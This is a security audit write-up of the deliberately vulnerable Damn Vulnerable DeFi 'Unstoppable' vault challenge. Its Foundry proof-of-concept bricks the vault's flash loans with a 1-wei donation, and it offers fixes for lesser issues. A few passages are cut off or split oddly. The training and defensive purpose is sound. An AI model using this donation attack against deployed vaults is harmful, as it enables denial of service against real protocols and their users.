

# Damn Vulnerable DeFi, Unstoppable Security Review

Khant Wai Yan Aung (SnavOhBurmaa)

June 16, 2026

## **Damn Vulnerable DeFi, Unstoppable Security Review**

Prepared by: SnavOhBurmaa

Lead Auditors: Khant Wai Yan Aung (SnavOhBurmaa)

## **Table of contents**

See table

1. Damn Vulnerable DeFi, Unstoppable Security Review
2. Table of contents
3. About Me
4. Disclaimer
5. Risk Classification
6. Audit Details
7. Scope
8. Protocol Summary
9. Roles
10. Executive Summary
11. Issues found
12. Findings

## **About Me**

I'm a smart contract security researcher focus on EVM and Solidity protocols. This review was carried out as part of independent security practice on the Damn Vulnerable DeFi training set.

## Disclaimer

I made every effort to find as many vulnerabilities as possible, fixing the issues described here does not guarantee the contracts are free of all bug.

## Risk Classification

|            |        | Impact |        |     |
|------------|--------|--------|--------|-----|
| Likelihood |        | High   | Medium | Low |
|            | High   | H      | H/M    | M   |
|            | Medium | H/M    | M      | M/L |
|            | Low    | M      | M/L    | L   |

## Audit Details

The project is Damn Vulnerable DeFi v4, the Unstoppable challenge. The reviewed version use `pragma solidity =0.8.25` (DVD v4). The reviewer is Khant Wai Yan Aung (SnavOhBurmaa) and the date is June 16, 2026. Tools used were manual review, Foundry (forge) for the PoC, Slither, and Aderyn.

## Scope

```
src/unstoppable/  
  UnstoppableVault.sol  
  UnstoppableMonitor.sol
```

Only the two files above were in scope. Library dependencies (solmate, solady, OpenZeppelin) were considered as trusted and out of scope.

## Protocol Summary

`UnstoppableVault` is an ERC4626 compliant tokenized vault holding DVT tokens. It offer flash loans of its underlying asset, for free during a 30 day grace period, and for a 5% fee afterwards. `UnstoppableMonitor` is a permissioned watchdog contract that periodically take a tiny flash loan to confirm the feature is still alive. If the probe fail, the monitor pause the vault and return ownership to the deployer so the team can investigate.

The intended security goal is that the flash loan service stay available (“unstoppable”) for the whole grace period.

## Roles

The owner (initially the monitor contract) can pause and unpause the vault, set the fee recipient, and execute arbitrary `delegatecall` while paused. The fee recipient receive flash loan fees. The monitor take liveness check flash loans, and on failure it pause the vault and transfer ownership back to the deployer. The player or attacker is an unprivileged user holding a small token balance.

## Executive Summary

The vault rely on a strict equality between its live token balance and its internal share accounting to decide whether a flash loan is allowed. That invariant can be broken by any user with a single direct token transfer, which permanently disable all flash loans. This is a textbook ERC4626 “donation” and accounting desync issue and it fully defeat the protocol stated goal.

The review also note several lower severity, trust and code quality observations, an owner only arbitrary `delegatecall`, a missing zero address check on the fee recipient, an unsafe and unchecked `approve()` in the monitor, and empty `require()` statements.

## Issues found

| Severity      | Number of issues found |
|---------------|------------------------|
| High          | 1                      |
| Medium        | 0                      |
| Low           | 2                      |
| Informational | 2                      |
| Total         | 5                      |

| ID    | Title                                                                                                       | Severity      |
|-------|-------------------------------------------------------------------------------------------------------------|---------------|
| [H-1] | Direct token transfer breaks the ERC4626 invariant and permanently disable flash loans                      | High          |
| [L-1] | Owner can execute arbitrary <code>delegatecall</code> via <code>execute()</code>                            | Low           |
| [L-2] | Missing zero address validation on <code>feeRecipient</code>                                                | Low           |
| [I-1] | <code>UnstoppableMonitor.onFlashLoan()</code> uses a raw <code>approve()</code> and ignore its return value | Informational |
| [I-2] | Empty <code>require()</code> statements without a descriptive error                                         | Informational |

## Findings

### High

**[H-1] Direct token transfer to the vault breaks the ERC4626 invariant and permanently disable all flash loans (Denial of Service)**

#### Description:

`UnstoppableVault` measure how many assets it holds with `totalAssets()`, which simply read the raw token balance of the contract:

```
// src/unstoppable/UnstoppableVault.sol:71-73
function totalAssets() public view override nonReentrant returns (uint256) {
    return asset.balanceOf(address(this));
}
```

Inside `flashLoan()` there is a strict equality check that compare the share accounting against that raw balance:

```
// src/unstoppable/UnstoppableVault.sol:84-85
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626
```

The check assume the token balance of the vault is always exactly equal to `convertToShares(totalSupply)`. That assumption only hold while tokens enter the vault through `deposit()` / `mint()`, because those function mint shares at the same time.

Nothing stop anyone from sending tokens straight to the vault with a plain ERC20 `transfer()`. A direct transfer increase `asset.balanceOf(vault)` (so `totalAssets()` and `balanceBefore` go up), but it does not mint any shares, so `totalSupply` stay the same. The two side of the equality drift apart permanently, and every future `flashLoan()` call revert with `InvalidBalance()`.

Because the value can never be brought back into sync by any normal user action, the flash loan feature, which is the core purpose of the vault, is bricked forever. The on chain monitor then detect the failure, pause the vault, and hand ownership back to the deployer.

Location is in `src/unstoppable/UnstoppableVault.sol:71-73` for `totalAssets()`, and `src/unstoppable/UnstoppableVault.sol:84-85` for the invariant check inside `flashLoan()`.

#### Impact:

Likelihood is High. The attack cost as little as 1 wei of the token, it need no special permission, and it is done in a single transaction by anyone.

Risk is also High. It permanently disable the protocol only feature (flash loans), so this is a full Denial of Service of the vault. Overall severity is High.

### Proof of Concept:

The player start with 10 DVT tokens. They send a single wei of DVT directly to the vault. After that, the flash loan invariant check fail and the vault can no longer serve flash loans. The monitor react by pausing the vault and returning ownership to the deployer.

```
function test_breakInvariantWithDirectTransfer() public {
    console.log("BEFORE ATTACK");
    console.log("vault totalAssets :", vault.totalAssets());
    console.log("vault totalSupply :", vault.totalSupply());
    console.log("convertToShares(totalSupply):", vault.convertToShares(vault.totalSupply()));
    console.log("player balance      :", token.balanceOf(player));

    // Attack: a single direct token transfer desynchronizes assets from shares.
    vm.prank(player);
    token.transfer(address(vault), 1);

    console.log("AFTER ATTACK (transferred 1 wei of DVT directly)");
    console.log("vault totalAssets :", vault.totalAssets());
    console.log("vault totalSupply :", vault.totalSupply());
    console.log("convertToShares(totalSupply):", vault.convertToShares(vault.totalSupply()));

    // The flashLoan invariant check now reverts with InvalidBalance().
    // (We call flashLoan directly because the monitor swallows the revert in a try/catch.)
    vm.prank(player);
    vm.expectRevert(UnstoppableVault.InvalidBalance.selector);
    vault.flashLoan(monitorContract, address(token), 100e18, bytes(""));
    console.log("flashLoan now reverts with InvalidBalance() -> vault is bricked");
}

function test_monitorPausesAndHandsOverOwnership() public {
    // Attack
    vm.prank(player);
    token.transfer(address(vault), 1);

    // Monitor detects the broken flash loan, pauses, and returns ownership.
    vm.prank(deployer);
    vm.expectEmit();
    emit UnstoppableMonitor.FlashLoanStatus(false);
    monitorContract.checkFlashLoan(100e18);

    assertTrue(vault.paused(), "Vault is not paused");
    assertEq(vault.owner(), deployer, "Vault owner not restored to deployer");
    console.log("Vault paused:", vault.paused());
    console.log("Vault owner restored to deployer:", vault.owner() == deployer);
}
```



```

+     uint256 private _internalAssets;
+
+     function totalAssets() public view override nonReentrant returns (uint256) {
-         return asset.balanceOf(address(this));
+         return _internalAssets;
+     }

```

The internal accounting option is the cleaner and more ERC4626 correct fix, because it also protect the share price calculation from donation and inflation tricks.

## Low

**[L-1] Owner can execute arbitrary delegatecall via execute() (centralization / upgrade risk)**

### Description:

```

// src/unstoppable/UnstoppableVault.sol:124-127
function execute(address target, bytes memory data) external onlyOwner whenPaused {
    (bool success,) = target.delegatecall(data);
    require(success);
}

```

While paused, the owner can run any code in the vault own storage context through `delegatecall`. This is intentional (“execute arbitrary changes”), but it mean the owner has unlimited power over funds and storage. A compromised or malicious owner can drain the vault or rewrite any state. This is a strong centralization risk that user of the protocol must be aware of.

Location is `src/unstoppable/UnstoppableVault.sol:124-127`.

### Impact:

Likelihood is Low, because it require the owner key and the contract to be paused. Risk is Low and centralization related, since it give full owner control over funds and storage.

### Proof of Concept:

N/A

### Recommended Mitigation:

If full upgradeability is not truly required, the safest move is to drop the arbitrary `delegatecall` completely and replace it with a small set of explicit.

File: `src/unstoppable/UnstoppableVault.sol`, function `execute()`:

```

-     // Allow owner to execute arbitrary changes when paused
-     function execute(address target, bytes memory data) external onlyOwner whenPaused {
-         (bool success,) = target.delegatecall(data);

```

```
-         require(success);
-     }
```

If you really do need it, at least gate it behind a timelock and a multisig owner, and document the power clearly so user know about the trust assumption.

## [L-2] Missing zero address validation on feeRecipient

### Description:

feeRecipient is set in the constructor and in setFeeRecipient() without checking for address(0):

```
// src/unstoppable/UnstoppableVault.sol:116-121
function setFeeRecipient(address _feeRecipient) external onlyOwner {
    if (_feeRecipient != address(this)) {
        feeRecipient = _feeRecipient;
        emit FeeRecipientUpdated(_feeRecipient);
    }
}
```

If feeRecipient is ever set to the zero address, flash loan fees are transfered to address(0) and lost.

Location is src/unstoppable/UnstoppableVault.sol:34-40 and src/unstoppable/UnstoppableVault.sol

### Impact:

Likelihood is Low, because it require an owner misconfiguration. Risk is Low, with a potential loss of accrued fees.

### Proof of Concept:

N/A

### Recommended Mitigation:

Add an explicit zero address check in both the constructor and setFeeRecipient(), and declare a new error for it.

File: src/unstoppable/UnstoppableVault.sol, error declarations (contract level):

```
error InvalidAmount(uint256 amount);
error InvalidBalance();
+ error InvalidFeeRecipient();
```

File: src/unstoppable/UnstoppableVault.sol, function setFeeRecipient():

```
function setFeeRecipient(address _feeRecipient) external onlyOwner {
+     if (_feeRecipient == address(0)) revert InvalidFeeRecipient();
    if (_feeRecipient != address(this)) {
        feeRecipient = _feeRecipient;
    }
}
```



```

        emit FeeRecipientUpdated(_feeRecipient);
    }
}

```

File: `src/unstoppable/UnstoppableVault.sol`, function `constructor()`:

```

    constructor(ERC20 _token, address _owner, address _feeRecipient)
        ERC4626(_token, "Too Damn Valuable Token", "tDVT")
        Owned(_owner)
    {
+       if (_feeRecipient == address(0)) revert InvalidFeeRecipient();
        feeRecipient = _feeRecipient;
        emit FeeRecipientUpdated(_feeRecipient);
    }

```

## Informational

[I-1] `UnstoppableMonitor.onFlashLoan()` uses a raw `approve()` and ignore its return value (unsafe ERC20)

### Description:

```

// src/unstoppable/UnstoppableMonitor.sol:31
ERC20(token).approve(address(vault), amount);

```

Inside `onFlashLoan()` the monitor approve the vault so the vault can pull back the borrowed amount during repayment. It use the raw ERC20 `approve()` and it do not check the boolean that is returned. Some ERC20 tokens do not return a bool at all, and some return `false` on failure instead of reverting. With such a token the approval could silently fail while the call still look successful, and then the repayment `safeTransferFrom` inside the vault would revert. For the DVT token used here this is not exploitable, but it is fragile and it is inconsistent with the `SafeTransferLib` pattern that the vault itself already use.

Location is `src/unstoppable/UnstoppableMonitor.sol:31`.

### Impact:

Likelihood is Low, because it only matter with non standard tokens. Risk is Informational, it is mostly a code quality.

### Proof of Concept:

N/A

### Recommended Mitigation:

Use the safe wrapper from `solmate` so the call work with non standard tokens and the result is checked.

File: `src/unstoppable/UnstoppableMonitor.sol`, imports:

```
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {Owned} from "solmate/auth/Owned.sol";
+import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
import {UnstoppableVault, ERC20} from "../unstoppable/UnstoppableVault.sol";
```

File: src/unstoppable/UnstoppableMonitor.sol, function onFlashLoan():

```
- ERC20(token).approve(address(vault), amount);
+ SafeTransferLib.safeApprove(ERC20(token), address(vault), amount);
```

## [I-2] Empty require() statements without a descriptive error

### Description:

Two require() checks revert with no reason string, which make debugging and off chain integration harder, and also cost a bit more than a custom error:

```
// src/unstoppable/UnstoppableMonitor.sol:37
require(amount > 0);
```

```
// src/unstoppable/UnstoppableVault.sol:126
require(success);
```

Location is src/unstoppable/UnstoppableMonitor.sol:37 and src/unstoppable/UnstoppableVault.sol:126

### Impact:

Likelihood is not really applicable here. Risk is Informational.

### Proof of Concept:

N/A

### Recommended Mitigation:

Replace the bare require() with named custom errors.

File: src/unstoppable/UnstoppableMonitor.sol, function checkFlashLoan():

```
- require(amount > 0);
+ if (amount == 0) revert InvalidAmount();
```

File: src/unstoppable/UnstoppableVault.sol, function execute() (only if you keep this function, see [L-1]):

```
- require(success);
+ if (!success) revert ExecutionFailed();
```